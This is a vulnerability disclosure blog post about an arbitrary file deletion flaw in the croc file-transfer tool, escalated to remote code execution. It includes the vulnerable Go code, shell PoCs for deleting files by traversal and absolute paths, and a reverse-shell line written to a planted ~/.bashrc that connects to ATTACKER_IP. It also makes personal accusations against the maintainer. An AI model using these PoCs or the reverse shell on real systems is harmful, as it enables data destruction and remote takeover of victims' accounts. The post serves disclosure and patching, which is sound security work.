August 12, 2026
CrocTears or how I found an Arbitrary File Deletion that can be escalated to RCE in croc
Note : The fix landed in under an hour (PR #1232), but that was a silent fix. the commit carried no description, no security note, and no…
By Elohim
3 min read
Note : The fix landed in under an hour (PR #1232), but that was a silent fix. the commit carried no description, no security note, and no advisory, for a vulnerability that turned out to be a two-year-old remote-code-execution chain.
The situation was made worse by the maintainer's subsequent handling of the disclosure. The maintainer refused to request a CVE ID and refused to give me credit for discovering and reporting the vulnerability. After several email exchanges, I was ultimately told that I should have created a PR myself. That is not an appropriate approach for a security vulnerability: a PR is public by design and would have disclosed the vulnerability before there was an appropriate coordinated disclosure process in place.
Taken together, this shows a serious lack of security-disclosure hygiene and transparency toward users and security researchers.
A vulnerability of this age and severity should be communicated, not quietly buried in a diff.
I want to keep this focused on the technical write-up, but I have a lot more to say about the maintainer of croc. Let's just say that he lacks maturity, transparency, and honesty.
TL,DR : croc, the end-to-end-encrypted file-transfer tool, trusted a predictable filename in its working directory as an internal "delete these" list. A malicious sender could send a file with that name with arbitrary file paths as its content, causing the receiver to delete attacker-chosen files (absolute paths and ../ traversal both work). When the victim receives into their home directory, this can be chained to remote code execution by deleting then sending files like .bachrc.
Affected: 10.0.13–11.0.2. Fixed in 11.0.3.
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H → 8.1 (High)
Background Knowlege :
croc lets two machines transfer files through a relay.
Last detail : received files land in the CWD, and the sender fully controls their names and contents.
The Bug : a magic filename in your working directory
To clean up temporary files, croc kept an on-disk list and deleted everything in it on exit. In src/utils/utils.go
const crocRemovalFile = "croc-marked-files.txt"
func RemoveMarkedFiles() (err error) {
f, err := os.Open(crocRemovalFile) // fixed, RELATIVE path → read from CWD
...
for scanner.Scan() {
fname := scanner.Text()
err = os.Remove(fname) // no validation, no CWD confinement
}
...
}const crocRemovalFile = "croc-marked-files.txt"
func RemoveMarkedFiles() (err error) {
f, err := os.Open(crocRemovalFile) // fixed, RELATIVE path → read from CWD
...
for scanner.Scan() {
fname := scanner.Text()
err = os.Remove(fname) // no validation, no CWD confinement
}
...
}RemoveMarkedFiles() runs on normal exit (main.go:45) and on Ctrl-C (main.go:51). It reads croc-marked-files.txt from the current directory and calls os.Remove() on every line, with no path validation and no confinement, so absolute and relative paths both delete.
Hence, an attacker can send a file named croc-marked-files.txt that contains file paths as its content. Once the victim receives it, those files gets automatically deleted.
PoC #1: Arbitrary file deletion
Attacker crafts the list and sends it:
mkdir -p /tmp/attacker && cd /tmp/attacker
printf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txt
croc send croc-marked-files.txtmkdir -p /tmp/attacker && cd /tmp/attacker
printf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txt
croc send croc-marked-files.txtVictim receives it into a directory with files they care about:
mkdir -p /tmp/victim && cd /tmp/victim
echo A > secret.txt
echo B > /tmp/victim-sibling.txt # reached via ../
echo C > /tmp/absolute-target.txt # absolute
CROC_SECRET=<code> croc - yesmkdir -p /tmp/victim && cd /tmp/victim
echo A > secret.txt
echo B > /tmp/victim-sibling.txt # reached via ../
echo C > /tmp/absolute-target.txt # absolute
CROC_SECRET=<code> croc - yesOn completion, all three targets are deleted.
PoC #2: Escalating to RCE
Deletion alone is destructive, but it also removes the one thing standing between an attacker and code execution: the overwrite prompt.
croc won't silently overwrite an existing file. But if we delete the target first, the follow-up write lands with no prompt. Targeting a shell init file (e.g .bashrc) leads to code execution.
Transfer 1 : delete ~/.bashrc:
# attacker
printf '.bashrc\n' > croc-marked-files.txt
croc send croc-marked-files.txt
# victim (in $HOME)
CROC_SECRET=<code1> croc - yes # ~/.bashrc deleted on exit# attacker
printf '.bashrc\n' > croc-marked-files.txt
croc send croc-marked-files.txt
# victim (in $HOME)
CROC_SECRET=<code1> croc - yes # ~/.bashrc deleted on exitTransfer 2 : plant a malicious .bashrc:
# attacker
cat > .bashrc <<'EOF'
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
croc send .bashrc
# victim (in $HOME)
CROC_SECRET=<code2> croc - yes # no overwrite prompt (file was deleted)# attacker
cat > .bashrc <<'EOF'
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
croc send .bashrc
# victim (in $HOME)
CROC_SECRET=<code2> croc - yes # no overwrite prompt (file was deleted)Execution: on the victim's next interactive shell / SSH login, ~/.bashrc is sourced and the payload runs as the victim.
Screenshots:
Disclosure timeline :
- 2026–08–10 02:07 GMT+2 : Reported via GitHub Security Advisory
- 2026–08–10 02:53 GMT+2 : Fix committed (c0d51f0); v11.0.3 published 02:55:57 GMT+2
- Later : CVE requested from MITRE
Takeaway :
- Don't work on projects that don't take security seriously
- Some maintainers that claim and swear by opensource will refuse to give you credit, expose them! expose them!
Found by Anas SOUIRI (@elohim666). Update to croc 11.0.3 or later.